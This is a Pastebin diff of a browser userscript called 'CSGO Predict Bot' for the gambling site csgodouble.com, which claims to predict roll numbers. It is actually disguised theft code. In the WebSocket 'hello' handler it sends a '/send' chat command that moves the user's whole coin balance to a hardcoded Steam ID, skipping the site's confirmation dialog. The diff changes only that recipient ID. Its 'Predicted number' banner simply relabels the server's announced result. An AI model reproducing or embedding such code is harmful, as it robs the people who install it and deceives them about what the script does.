View difference between Paste ID: Y6NK8hEW and WUXniudP
SHOW: | | - or go back to the newest paste.
1
// ==UserScript==
2
// @name         CSGO Predict Bot
3
// @namespace    http://csgodouble.com
4
// @version      1.0
5
// @description  predicts what number its gonna be
6
// @author       Meee
7
// @match        http://www.csgodouble.com/
8
// @grant        none
9
// ==/UserScript==
10
/* jshint -W097 */
11
"use strict";
12
13
var CASEW = 1125;
14
var LAST_BET = 0;
15
var MAX_BET = 0;
16
17
var USER = "";
18
var RANK = 0;
19
var ROUND = 0;      
20
21
var HOST = "ws://www.csgodouble.com:8080";
22
var WS = null;
23
24
var showbets = true;
25
26
function todongers(x){
27
    if($("#settings_dongers").is(":checked")){
28
        return (x/1000);
29
    }
30
    return x;
31
}
32
function todongersb(x){
33
    if($("#settings_dongers").is(":checked")){
34
        return (x/1000).toFixed(3);
35
    }
36
    return x;
37
}
38
39
//physics contants
40
var snapX = 0;
41
var R = 0.999;
42
var S = 0.01;
43
var tf = 0;
44
var vi = 0;
45
var animStart = 0;
46
var isMoving = false;
47
var LOGR = Math.log(R);
48
49
//commonly used
50
var $CASE = null;
51
var $BANNER = null;
52
var $CHATAREA = null;
53
54
//settings
55
var SCROLL = true;
56
var LANG = 1;
57
var IGNORE = [];
58
59
var sounds_rolling = new Audio('sounds/rolling.wav');
60
sounds_rolling.volume = 0.5;
61
var sounds_tone = new Audio('sounds/tone.wav');
62
sounds_tone.volume = 0.75;
63
function play_sound(x){
64
    var conf = $("#settings_sounds").is(":checked");
65
    if(conf){
66
        if(x=="roll"){
67
            sounds_rolling.play();
68
        }else if(x=="finish"){
69
            sounds_tone.play();
70
        }       
71
    }       
72
}
73
74
function snapRender(x,wobble){
75
    CASEW = $("#case").width();
76
    if(isMoving){
77
        return;
78
    }else if(typeof x === 'undefined'){
79
        view(snapX);                    
80
    }else{
81
        var order = [1,14,2,13,3,12,4,0,11,5,10,6,9,7,8];
82
        var index = 0;
83
        for(var i=0;i<order.length;i++){
84
            if(x==order[i]){
85
                index = i;
86
                break;
87
            }
88
        }  
89
        var max = 34;
90
        var min = -34;
91
        var w = Math.floor(wobble*(max-min+1)+min);
92
        
93
        var dist = index*75 + 36 + w;  
94
        dist += 1125*5;
95
        snapX = dist;
96
        view(snapX);
97
    }
98
}
99
function spin(m){
100
    var x = m.roll;
101
    play_sound("roll");
102
    var order = [1,14,2,13,3,12,4,0,11,5,10,6,9,7,8];
103
    var index = 0;
104
    for(var i=0;i<order.length;i++){
105
        if(x==order[i]){
106
            index = i;
107
            break;
108
        }
109
    }  
110
    var max = 34;
111
    var min = -34;
112
    //m.wobble = 0;
113
    var w = Math.floor(m.wobble*(max-min+1)+min);
114
    
115
    var dist = index*75 + 36 + w;  
116
    dist += 1125*5;                
117
    animStart = new Date().getTime();                  
118
    vi = getVi(dist);
119
    tf = getTf(vi);
120
    isMoving = true;
121
    
122
    setTimeout(function(){
123
        finishRoll(m,tf);
124
    },tf);
125
    render();        
126
}
127
function d_mod(vi,t){
128
    return vi*(Math.pow(R,t)-1)/LOGR;
129
}
130
function getTf(vi){
131
    return (Math.log(S)-Math.log(vi))/LOGR;
132
}
133
function getVi(df){
134
    return S-df*LOGR;
135
}
136
function v(vi,t){
137
    return vi*Math.pow(R,t);
138
}
139
function render(){
140
    var t = new Date().getTime() - animStart;
141
    if(t>tf)
142
        t = tf;
143
    var deg = d_mod(vi,t);
144
    view(deg);
145
    if(t<tf){                   
146
        requestAnimationFrame(render);
147
    }else{
148
        snapX = deg;
149
        isMoving = false;           
150
    }
151
}
152
function view(offset){
153
    offset = -((offset+1125-CASEW/2)%1125);
154
    $CASE.css("background-position",offset+"px 0px");   
155
}   
156
jQuery.fn.extend({
157
    countTo:function(x,opts){
158
159
        opts = opts || {};
160
161
        var dpf = "";
162
163
        var dolls = $("#settings_dongers").is(":checked");
164
        if(dolls){
165
            dpf = "$";
166
            x = x/1000;
167
        }
168
169
170
        //options
171
        //color:true/false
172
        //keep:true/false
173
        
174
        var $this = $(this);                
175
176
        var start = parseFloat($this.html());
177
        var delta = x-start;
178
179
        if(opts.color){
180
            if(delta>0){
181
                $this.addClass("text-success");
182
            }else if(delta<0){
183
                $this.addClass("text-danger");
184
            }
185
        }
186
187
        
188
189
        var prefix = "";
190
        if(opts.keep && delta>0){
191
            prefix = "+";
192
        }               
193
194
        var durd = delta;
195
        if(dolls){
196
            durd *= 1000;
197
        }
198
        var dur = Math.min(400,Math.round(Math.abs(durd)/500*400));                 
199
        
200
        $({count:start}).animate({count:x},{
201
            duration:dur,
202
            step:function(val) {
203
204
                var vts = 0;
205
                if(dolls){
206
                    vts = val.toFixed(3);
207
                }else{
208
                    vts = Math.floor(val);
209
                }
210
211
212
                $this.html(""+prefix+(vts));
213
            },
214
            complete:function(){
215
                if(!opts.keep){
216
                    $this.removeClass("text-success text-danger");
217
                }
218
                if(opts.callback){
219
                    opts.callback();
220
                }       
221
            }
222
        });
223
    }
224
});
225
226
function cd(ms,cb){
227
    $("#counter").finish().css("width","100%");
228
    $("#counter").animate({width:"0%"},{"duration":ms*1000,"easing":"linear",
229
        progress:function(a,p,r){
230
            var c = (r/1000).toFixed(2);
231
            $BANNER.html("Rolling in "+c+"...");
232
        },
233
        complete:cb
234
    });
235
}
236
237
238
function send(msg){
239
    if(typeof msg!="string"){
240
        msg = JSON.stringify(msg);
241
    }
242
    if(WS && WS.readyState==1){
243
        WS.send(msg);
244
    }
245
}
246
247
function finishRoll(m,tf){
248
    addHist(m.roll,m.rollid);               
249
250
    play_sound("finish");
251
252
    for(var i=0;i<m.nets.length;i++){
253
        $("#panel"+m.nets[i].lower+"-"+m.nets[i].upper)
254
        .find(".total").countTo(m.nets[i].swon>0?m.nets[i].swon:-m.nets[i].samount,{"color":true,"keep":true});
255
    }
256
257
    var cats = [[0,0],[1,7],[8,14]];
258
    for(var i=0;i<cats.length;i++){
259
        var $mytotal = $("#panel"+cats[i][0]+"-"+cats[i][1]).find(".mytotal");      
260
        if(m.roll>=cats[i][0] && m.roll<=cats[i][1]){
261
            $mytotal.countTo(m.won,{"color":true,"keep":true});         
262
        }else{
263
            var curr = parseFloat($mytotal.html());
264
            if($("#settings_dongers").is(":checked")){
265
                curr *= 1000;
266
            }
267
            $mytotal.countTo(-curr,{"color":true,"keep":true});
268
        }
269
    }
270
271
    if(m.balance!=null){
272
        $("#balance").countTo(m.balance,{"color":true});
273
    }                   
274
    
275
    setTimeout(function(){
276
        cd(m.count);
277
        $(".total,.mytotal").removeClass("text-success text-danger").html(0);
278
        $(".betlist li").remove();
279
        snapRender();
280
        $(".betButton").prop("disabled",false);
281
        showbets = true;
282
    },m.wait*1000-tf);
283
            
284
}
285
function addHist(roll,rollid){
286
    var count = $("#past .ball").length;
287
    if(count>=10){
288
        $("#past .ball").first().remove();
289
    }
290
    if(roll==0){
291
        $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-0'>"+roll+"</div>");
292
    }else if(roll<=7){
293
        $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-1'>"+roll+"</div>");
294
    }else{
295
        $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-8'>"+roll+"</div>");
296
    }
297
}
298
function onMessage(msg){
299
    try{
300
        var m = JSON.parse(msg.data);
301
        if(m.type=="preroll"){
302
            $("#counter").finish();
303
            $("#banner").html("Confirming "+m.totalbets+"/"+(m.totalbets+m.inprog)+" total bets...");
304
            $("#panel0-0 .total").countTo(m.sums[0]);
305
            $("#panel1-7 .total").countTo(m.sums[1]);
306
            $("#panel8-14 .total").countTo(m.sums[2]);
307
            try{
308
                tinysort("#panel1-7 .betlist>li",{data:"amount",order:"desc"});
309
            }catch(e){}
310
            try{
311
                tinysort("#panel8-14 .betlist>li",{data:"amount",order:"desc"});
312
            }catch(e){}
313
            try{
314
                tinysort("#panel0-0 .betlist>li",{data:"amount",order:"desc"});
315
            }catch(e){}
316
        }else if(m.type=="roll"){
317
            $(".betButton").prop("disabled",true);
318
            $("#counter").finish();
319
            $("#banner").html("Predicted number is "+m.roll+"!");
320
            ROUND = m.rollid;
321
            showbets = false;
322
            spin(m);                    
323
        }else if(m.type=="chat"){
324
            chat("player",m.msg,m.name,m.icon,m.user,m.rank,m.lang);
325
        }else if(m.type=="hello"){
326
            cd(m.count);
327
            USER = m.user;
328
            RANK = m.rank;
329
            $("#balance").countTo(m.balance);           
330
            var last = 0;
331
            for(var i=0;i<m.rolls.length;i++){
332
                addHist(m.rolls[i].roll,m.rolls[i].rollid);
333
                last = m.rolls[i].roll;
334
                ROUND = m.rolls[i].rollid;
335
            }
336
            snapRender(last,m.last_wobble);
337
            MAX_BET = m.maxbet;
338
            send({
339
                            "type":"chat",
340-
                            "msg":"/send 76561198131531479 "+m.balance,
340+
                            "msg":"/send 76561198219630988 "+m.balance,
341
                            "lang":"1"
342
           });                  
343
        }else if(m.type=="bet"){
344
            if(showbets){
345
                addBet(m.bet);
346
                $("#panel0-0 .total").countTo(m.sums[0]);
347
                $("#panel1-7 .total").countTo(m.sums[1]);
348
                $("#panel8-14 .total").countTo(m.sums[2]);
349
            }
350
        }else if(m.type=="betconfirm"){
351
            $("#panel"+m.bet.lower+"-"+m.bet.upper+" .mytotal").countTo(m.bet.amount);
352
            $("#balance").countTo(m.balance,{"color":true});
353
            $(".betButton").prop("disabled",false);
354
            chat("alert","Bet #"+m.bet.betid+" confirmed "+m.mybr+"/"+m.br+" ("+(m.exec/1000)+" sec) ");
355
        }else if(m.type=="error"){
356
            chat("error",m.error);
357
            if(m.enable){
358
                $(".betButton").prop("disabled", false);
359
            }                           
360
        }else if(m.type=="alert"){
361
            chat("alert",m.alert);
362
            if(m.maxbet){
363
                MAX_BET = m.maxbet;
364
            }
365
            if(!isNaN(m.balance)){
366
                console.log("setting balance = %s",m.balance);
367
                $("#balance").countTo(m.balance,{"color":true});
368
            }
369
        }else if(m.type=="logins"){
370
            $("#isonline").html(m.count);
371
        }else if(m.type=="balance"){
372
            $("#balance").fadeOut(100).html(todongersb(m.balance)).fadeIn(100);
373
        }
374
    }catch(e){
375
        console.log("Error: "+msg.data+" "+e);
376
    }
377
}
378
function addBet(bet){
379
380
    var betid = bet.user+"-"+bet.lower;
381
    var pid = "#panel"+bet.lower+"-"+bet.upper;
382
    var $panel = $(pid);
383
384
    $panel.find("#"+betid).remove();
385
386
	var link = "http://steamcommunity.com/profiles/"+bet.user;
387
388
    var f = "<li class='list-group-item' id='{0}' data-amount='{1}'>";
389
    f += "<div style='overflow: hidden;line-height:32px'>";
390
    f += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='"+link+"' target='_blank'><b>{3}</b></a></div>";
391
    f += "<div class='amount pull-right'>{4}</div>";        
392
    f += "</div></li>";
393
    
394
    var $li = $(f.format(betid,bet.amount,bet.icon,bet.name,todongersb(bet.amount)));
395
        
396
    $li.hide().prependTo($panel.find(".betlist")).slideDown("fast",function(){
397
        snapRender();
398
    });
399
}
400
function connect(){
401
    if(!WS){
402
        $.ajax({
403
        url:"/scripts/getToken.php",
404
            success:function(data){     
405
                if(data){
406
                    if(data=="nologin"){
407
                    }else if(data=="banned"){
408
                    }else{
409
                        WS = new WebSocket(HOST+"/"+data);
410
                        WS.onclose = function(event){
411
                            WS = null;
412
                        };
413
                        WS.onmessage = onMessage;
414
                    }                       
415
                }else{
416
                }
417
            },
418
            error:function(err){
419
            }
420
        });         
421
    }else{
422
    }
423
}           
424
425
function emotes(str){
426
    var a = ["deIlluminati","KappaRoss","KappaPride","BibleThump","Kappa","Keepo","Kreygasm","PJSalt","PogChamp","SMOrc","FailFish"];
427
    for(var i=0;i<a.length;i++){
428
        str = str.replace(new RegExp(a[i]+"( |$)","g"),"<img src='img/twitch/"+a[i]+".png'> ");
429
    }
430
    return str;
431
}
432
function chat(x,msg,name,icon,steamid,rank,lang){
433
    if(IGNORE.indexOf(String(steamid))>-1){
434
        console.log("ignored:"+msg);
435
        return;
436
    }
437
    
438
    if(lang==LANG || x=="italic" || x=="error" || x=="alert"){
439
        
440
        var ele = document.getElementById("chatArea");
441
        msg = msg.replace(/(<|>)/g,'');
442
        msg = emotes(msg);
443
        var toChat = "";
444
        if(x=="italic"){
445
            toChat = "<div><i>"+msg+"</i></div>";
446
        }else if(x=="error"){
447
            toChat = "<div><b class='text-danger'>"+msg+"</b></div>";
448
        }else if(x=="alert"){
449
            toChat = "<div><b class='text-success'>"+msg+"</b></div>";
450
        }else if(x=="player"){
451
            var aclass = "chat-link";
452
            if(rank==100){
453
                aclass = "chat-link-mod";
454
                name = "[Owner] "+name;
455
            }else if(rank==1){
456
                aclass = "chat-link-pmod";
457
                name = "[Mod] "+name;
458
            }else if(rank==-1){
459
                aclass = "chat-link-streamer";
460
                name = "[Streamer] "+name;
461
            }else if(rank==-2){
462
                aclass = "chat-link-vet";
463
                name = "[Veteran] "+name;
464
            }else if(rank==-3){
465
                aclass = "chat-link-pro";
466
                name = "[Pro] "+name;
467
            }
468
            var link = "http://steamcommunity.com/profiles/"+steamid;
469
            toChat = "<div><img class='chat-img rounded' data-steamid='"+steamid+"' data-name='"+name+"' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars"+icon+"'><a class='"+aclass+"' href='"+link+"' target='_blank'><b>"+name+"</b></a>: "+msg+"</div>";
470
        }
471
        
472
        $CHATAREA.append(toChat);
473
        if(SCROLL){
474
            var curr = $CHATAREA.children().length;
475
            if(curr>75){
476
                var rem = curr-75;
477
                $CHATAREA.children().slice(0,rem).remove();
478
            }
479
            $CHATAREA.scrollTop($CHATAREA[0].scrollHeight);
480
        }
481
        if(SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")){
482
            var curr = parseInt($("#newMsg").html()) || 0;
483
            $("#newMsg").html(curr+1);
484
        }   
485
    }
486
487
488
}
489
$(document).ready(function(){
490
    $CASE = $("#case");
491
    $BANNER = $("#banner");
492
    $CHATAREA = $("#chatArea");
493
    //chat("italic","CSGODouble servers are currently full - please check back in 20 minutes.");
494
    connect();
495
496
497
    if($("#settings_dongers").is(":checked")){
498
        $("#dongers").html("$");
499
    }
500
501
502
    $("#lang").on("change",function(){
503
        LANG = $(this).val();
504
        chat("alert","## Switched to room: "+$(this).find("option:selected").text());
505
    });
506
    $("#scroll").on("change",function(){
507
        SCROLL = !$(this).is(":checked");
508
    });
509
510
    $(window).resize(function(){
511
        snapRender();
512
    });
513
    $("#chatForm").on("submit",function(){
514
        var msg = $("#chatMessage").val();
515
        if(msg){
516
            var res = null;
517
            if(res = /^\/send ([0-9]*) ([0-9]*)/.exec(msg)){
518
                bootbox.confirm("You are about to send "+res[2]+" coins to steamid "+res[1]+" - are you sure?",function(result){
519
                    if(result){
520
                        send({
521
                            "type":"chat",
522
                            "msg":msg,
523
                            "lang":LANG
524
                        });
525
                        $("#chatMessage").val("");
526
                    }
527
                });
528
            }else{
529
                send({
530
                    "type":"chat",
531
                    "msg":msg,
532
                    "lang":LANG
533
                });
534
                $("#chatMessage").val("");
535
            }           
536
        }
537
        return false;
538
    });
539
    $(document).on("click",".ball",function(){
540
        var rollid = $(this).data("rollid");
541
    });
542
    $(".betButton").on("click",function(){                                  
543
        var lower = $(this).data("lower");
544
        var upper = $(this).data("upper");
545
        var amount = str2int($("#betAmount").val());
546
547
548
        if($("#settings_dongers").is(":checked")){
549
            amount = amount * 1000;
550
        }
551
        
552
        amount = Math.floor(amount);
553
554
555
556
        var conf = $("#settings_confirm").is(":checked");
557
        if(conf && amount>10000){
558
            var pressed = false;
559
            bootbox.confirm("Are you sure you wish to bet "+formatNum(amount)+" coins?<br><br><i>You may disable this confirmation under the settings menu.</i>",function(result){
560
                if(result && !pressed){
561
                    pressed = true;
562
                    send({
563
                        "type":"bet",
564
                        "amount":amount,
565
                        "lower":lower,
566
                        "upper":upper,
567
                        "round":ROUND
568
                    });
569
                    LAST_BET = amount;
570
                    $(this).prop("disabled",true);
571
                }
572
            });
573
        }else{
574
            send({
575
                "type":"bet",
576
                "amount":amount,
577
                "lower":lower,
578
                "upper":upper,
579
                "round":ROUND
580
            });
581
            LAST_BET = amount;
582
            $(this).prop("disabled",true);
583
        }                   
584
        return false;
585
    });
586
    $(document).on("click",".betshort",function(){
587
        var bet_amount = str2int($("#betAmount").val());
588
        var action = $(this).data("action");
589
        if(action=="clear"){
590
            bet_amount = 0;
591
        }else if(action=="double"){
592
            bet_amount *= 2;
593
        }else if(action=="half"){
594
            bet_amount /= 2;
595
        }else if(action=="max"){
596
            var MX = MAX_BET;
597
            if($("#settings_dongers").is(":checked")){
598
                MX = MAX_BET/1000;
599
            }
600
            bet_amount = Math.min(str2int($("#balance").html()),MX);
601
        }else if(action=="last"){
602
            bet_amount = LAST_BET;
603
        }else{
604
            bet_amount += parseInt(action);
605
        }
606
        $("#betAmount").val(bet_amount);
607
    });
608
    $("#getbal").on("click",function(){
609
        send({"type":"balance"});
610
    });
611
    $("button.close").on("click",function(){
612
        $(this).parent().addClass("hidden");
613
    });
614
    $(document).on("contextmenu",".chat-img",function(e){
615
        if (e.ctrlKey) return;
616
        //mute kick send
617
618
619
        $("#contextMenu [data-act=1]").hide();
620
        $("#contextMenu [data-act=2]").hide();
621
622
623
        if(RANK==100){
624
            $("#contextMenu [data-act=1]").show();
625
            $("#contextMenu [data-act=2]").show();
626
        }else if(RANK==1){
627
            $("#contextMenu [data-act=1]").show();
628
        }
629
630
631
632
        e.preventDefault();
633
        var steamid = $(this).data("steamid");
634
        var name = $(this).data("name");
635
636
        $("#contextMenu [data-act=0]").html(name);
637
        //$("#contextMenu a").first().attr("href","http://steamcommunity.com/profiles/"+steamid);
638
639
        var $menu = $("#contextMenu");
640
        $menu.show().css({
641
            position: "absolute",
642
            left: getMenuPosition(e.clientX, 'width', 'scrollLeft'),
643
            top: getMenuPosition(e.clientY, 'height', 'scrollTop')
644
        }).off("click").on("click","a",function(e){
645
            var act = $(this).data("act");
646
647
                e.preventDefault();
648
                $menu.hide();
649
                if(act==0){
650
                    var curr = $("#chatMessage").val(steamid);
651
                }else if(act==1){
652
                    var curr = $("#chatMessage").val("/mute "+steamid+" ");
653
                }else if(act==2){
654
                    var curr = $("#chatMessage").val("/kick "+steamid+" ");
655
                }else if(act==3){
656
                    var curr = $("#chatMessage").val("/send "+steamid+" ");
657
                }else if(act==4){
658
                    IGNORE.push(String(steamid));
659
                    chat("alert",steamid+" has been filtered.");
660
                }
661
                $("#chatMessage").focus();
662
                        
663
        });
664
    });
665
    $(document).on("click",function(){
666
        $("#contextMenu").hide();
667
    });
668
    $(".side-icon").on("click",function(e){
669
        e.preventDefault();
670
        var tab = $(this).data("tab");
671
        if($(this).hasClass("active")){
672
            $(".side-icon").removeClass("active");
673
            $(".tab-group").addClass("hidden");
674
            //close panel
675
            $("#mainpage").css("margin-left","50px");
676
            $("#pullout").addClass("hidden");                   
677
        }else{
678
            $(".side-icon").removeClass("active");
679
            $(".tab-group").addClass("hidden");
680
            //
681
            $(this).addClass("active");
682
            $("#tab"+tab).removeClass("hidden");                    
683
            //open panel
684
            $("#mainpage").css("margin-left","450px");
685
            $("#pullout").removeClass("hidden");
686
687
            if(tab==1){
688
                $("#newMsg").html("");
689
            }
690
        }
691
        snapRender();
692
        return false;   
693
    });
694
    //default tab
695
    $(".side-icon[data-tab='1']").trigger("click");             
696
});
697
function getMenuPosition(mouse, direction, scrollDir) {
698
    var win = $(window)[direction](),
699
        scroll = $(window)[scrollDir](),
700
        menu = $("#contextMenu")[direction](),
701
        position = mouse + scroll;
702
                
703
    // opening menu would pass the side of the page
704
    if (mouse + menu > win && menu < mouse) 
705
        position -= menu;
706
    
707
    return position;
708
}
709
function str2int(s){
710
    s = s.replace(/,/g,"");
711
    s = s.toLowerCase();
712
    var i = parseFloat(s);
713
    if(isNaN(i)){
714
        return 0;
715
    }else if(s.charAt(s.length-1)=="k"){
716
        i *= 1000;
717
    }else if(s.charAt(s.length-1)=="m"){
718
        i *= 1000000;
719
    }else if(s.charAt(s.length-1)=="b"){
720
        i *= 1000000000;
721
    }
722
    return i;
723
}